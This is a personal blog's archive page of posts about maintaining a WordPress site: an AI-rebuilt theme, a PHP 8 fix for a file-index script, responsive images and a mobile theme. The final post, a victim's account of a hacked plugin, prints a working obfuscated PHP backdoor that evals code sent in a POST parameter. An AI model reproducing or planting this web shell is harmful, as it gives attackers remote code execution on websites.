HeiseHeise.com

The Personal Blog of Zach Heise

Stop the Surge Protest 2007
Stop the Surge Protest 2007

A random image. Reload page for more. Want more info?

Category: Internet

  • Claude, take the Theme Editing Wheel!

    I’ve been using Talian 1.0 as my WordPress Theme since 2008. Credit to the company VA4Business and Steve Arun for creating it. It was a good theme then, and compared with all the visual eyesores of themes these days, which all just look the same to me with gliding animations everywhere, I always was loathe to replace it. However, time marches on. PHP vulnerabilities march on. WordPress deprecates old functions that old Themes depend on. But modern LLMs know every manual page of every open source project that have ever existed. WordPress is, without a doubt, the most used website software in the world, by far, and it’s also open source. Theme files are just .zips of PHP, HTML, and CSS (maybe a few more) that can be uploaded to an LLM.

    Therefore, here’s “Talian Modern” which Claude put together for me over the course of a few hours of chatting. It retains almost all the appearance of the original Talian, except it’s adaptable to sizing – no more being locked in a thin bar in the middle of a modern widescreen. If visited from a phone, it will smoothly resize itself down. The photo “rotate system” at the top of the page has been completely redone so now it can handle much larger image sizes, and also read EXIF metadata out of the photos and make that metadata appear when you mouse over (or tap/click on, if on a mouse-less phone or tablet) the image. I’m pretty pleased with the outcome.

  • New /files web software!

    Nerdy post here – sorry, no fun trip pictures this time.

    The ability of the Linux webserver to simply look at a folder filled with files and then generate an index of them is one of its earliest and most elegant features. You are probably well used to seeing folders like this around the internet – that’s an example.

    However, since around 2009 or so, I had been using a modified version of that made by a developer named Justin Hagstrom – you can see just how old his original “AutoIndex” PHP based system is because his site hasn’t changed much!

    Last week I got an email from Google Domains alerting me that one of the Google Earth kmz/kml map files from biking and hiking trips that I host at https://heiseheise.com/files was unable to be indexed anymore – HTTP error 500, not found.

    I don’t generally visit my own file server; why would I, I have the files on my computers already! But sure enough – the site was dead, not loading anything. My log files showed that it died somewhere in October 2023, which was about when I did a mandated PHP update on the webserver. Mandated in the sense that Ionos, my hosting company, told me that I’d be billed an extra $5 each month if I didn’t upgrade from PHP 7.4 to PHP 8.2, the current mainline support version.

    This is to be expected I suppose – in a vacuum, we could keep using old versions of all software forever, but thanks to the Internet not being a vacuum, we’re in a neverending cycle of needing to upgrade to prevent security vulnerabilities (and add new features too I guess; but who needs those? Sure, we could glue generative AI garbage onto a terminal program – that’ll be popular, right? /sarcasm Seriously, security is necessary, unfortunately… new features are…. eh? I don’t really care).

    Ah-hah, I thought – well, surely the PHP upgrade killed the /files system. Considering that as you can see from Justin’s link above, it was un-updated since 2007, I wasn’t entirely surprised. But now we have places like Github, so I immediately went on a mission to see if anyone had forked his old code. And they had! This one looked like the most full featured, so I simply dumped it in the /files subdirectory on my webserver and expected everything to be great. But it wasn’t. More 500 errors. What the heck?

    I replicated it on my work server – same thing. I spoke with our Linux admin and he immediately pointed me towards this closed issue (which I commented on today) saying that, ah-hah, it doesn’t work with PHP 8 either, which is what both our work server and my personal server are on.

    Sure enough, when I went to the rubo77 fork of AutoIndex PHP, and overwrote the BeitDina fork with its data – now everything works fine. I did have to clear out a bunch of random stuff that BeitDina emptied onto my webserver, as it seems like the developer has a bunch of new functionality planned for the site. Unfortunately, supporting PHP 8 is the #1 feature I needed right now, not new visual whizbangs!

    Now /files is back up and running again, with a slightly new look, the ability to download the entire site as a .tar.gz compressed file, and calculate hashes in MD5 to confirm that data wasn’t modified or damaged during a download (useful for the .ISO files I host there perhaps). Hopefully this new version will last me another 15 years!

  • “Responsive” videos and images at last!

    I’ll make no secret of the fact that this blog is 10 years old; something I’m very proud of. However, I’m less proud of the fact that my theme, based on Talian 1.0, is also 10 years old. The maker of the the theme, Steve Arun, seems to have entirely pivoted away from themes to focus on his Virtual Assistant business, and there’s no visible mention of it on his site anymore, nor on the FB page he made for his theme(?!?)

    My previous blog post was a test of whether or not I could make a post on mobile, while at a concert, and have it not look like complete crap. Well, H265 encoded videos having no video and only audio aside (hey, at least they work in Safari, Edge, and Internet Explorer!), the pictures were the main problem. A Galaxy S9 photo defaults to what, 4k by 2.2k resolution? When Talian 1.0 was built in 2006, no one was putting pictures that size on the internet. Who’d be able to download them without it taking 5 minutes per photo?

    WordPress rolled out “responsive images” back in v4.4 and I was left in the dust. Whenever I uploaded an image onto the internet, be it on mobile or desktop, I’d have to carefully handcraft each entry, making sure horizontal width didn’t exceed the fixed-width “body” of 400px (heh, the old days when 1920×1200 was a big screen).

    Today, I’ve discovered the CSS entry “max-entry: 100%” and that % sign is my new best friend. I’ve stuck that onto the img, video, and iframe elements (for Youtube embeds) of the venerable Talian’s stylesheet, and from now on, no more needing to monkey with images quite so much.

    Also, Christine and I made Soy Deviled Eggs for Thanksgiving Yesterday. They were delicious.

    No messing with this image! Well, except to set the open-in-new-tab function. Grr.

  • 10 Years!

    Today marks ten years since I downloaded and installed WordPress 2.1.3 on my little corner of the internet, mostly to give my parents a means of checking up on me when I took my summer trip to the United Kingdom later in the month of May. My first blog post was the equivalent of “Hello World” and very few people know or remember that very briefly, this blog briefly occupied a /blog subfolder instead of the place of honor at the top of the domain. At that point I thought the website might serve as a repository for a CV and other documents, and I didn’t know if I wanted to commit to what I thought of as a bland, boring “every page on the internet is a damned wordpress blog!” look. It would be a year before I’d scrap that original, now forgotten, look and commit wholly to WordPress.

    The blog served me well for my two years of living in Jordan, and it definitely doesn’t get updated as much anymore (except for navel-gazing, like to celebrate having basic web security or to commemorate a decade of its own existence, geez that’s corny), but perhaps I’ll have some exciting news to share next week.

  • New mobile theme

    Google apparently punishes website folks if they don’t have a mobile-ready version of their site ready to go. As I was poking around, trying to get old Facebook video embed links to work on some old posts, I tried checking out those pages on my phone to see how they looked there. Imagine my irritation (I would go so far as to say it was mild! quite mild!) when I saw that the entire thing was completely busted and didn’t even show a search link anymore. That former plugin is called WP Mobile Detector, and while it was “great while it lasted” it seems it hasn’t gotten a real function update since sometime in 2015, which in the webdev world might as well be 1986. Or, more likely, they stopped offering the free version I installed in 2012/2013, didn’t tell me, and moved to a paid license only model, leaving us free bloggers out on the vine to wither.

    Enter new, top-of-google-search-results-for “best wordpress mobile theme” WPTouch. You can view it on your phone by visiting this website. Maybe you’re doing so at this moment in which case, isn’t it beautiful? Looks very slick to me, considering the old one looked like something from the first generation of iPhone.

    Comparison – then and now.

    This slideshow requires JavaScript.

  • Site attacked via the built-in “Health Check” plugin

    I might not update much anymore, but I still want the blog to remain as a record of my travels. This afternoon I got an email from 1and1, my webhost, telling me that the following file was “under attack” –

    ~/blog/wp-content/plugins/health-check/code.php

    I was surprised, and immediately went into my SFTP client to download and check the file. It was an old plugin, I must have installed it as part of the PHP4 -> 5 changeover I did sometime while I was in Jordan to see what version was being reported. Tellingly, the plugin had never been updated, and I can’t seem to find it anymore in WordPress’s extension/plugin repository (although maybe this is it, as it’s named health-check in their database).

    More chillingly, viewing the website in a browser yielded an error pertaining to my wp-includes folder, a settings file, that was no longer functioning. White screen; that’s it.

    When I tried to download code.php to my computer to inspect it, Windows Defender immediately flagged the file as malware and deleted. Since I was on my work machine at the time, I had to talk to my colleague next door (who runs our antivirus scanner) to unblock the file! It was gobbledegook anyway – here’s what was inside it:

    <?php                                                                                                                                                                                                                                                                      $scol4 =”t_psroue” ; $fcen0= $scol4[3]. $scol4[0].$scol4[4]. $scol4[0].$scol4[5].$scol4[6]. $scol4[2]. $scol4[2].$scol4[7]. $scol4[4]; $jphf86 =$fcen0 ( $scol4[1].$scol4[2].$scol4[5].$scol4[3]. $scol4[0] ) ; if ( isset( ${ $jphf86 }[‘qd6e706’ ]) ) { eval ( ${ $jphf86}[ ‘qd6e706’]); }?>

    Anyway, using this thread here, the easy fix was just to entirely purge the wp-admin and wp-include folders and replace them with fresh downloads from wordpress.org. Once I did that, everything started working again. But it was quite a scare, especially since I cheaped out with 1and1 last year when they begged me to upgrade from my $4 a month hosting to something with backup capability. I run my own backups…sometimes. Heh. Guess I should do that now.

    Update, June 6th – Found it. It’s almost positive that this was the cause of one of the infection, as today I was notified of flaws in the WP-Mobile-Detector plugin. I applied the patch right away, although weirdly enough it still shows the “last modified” date for the resize.php file as being February 2016, not June.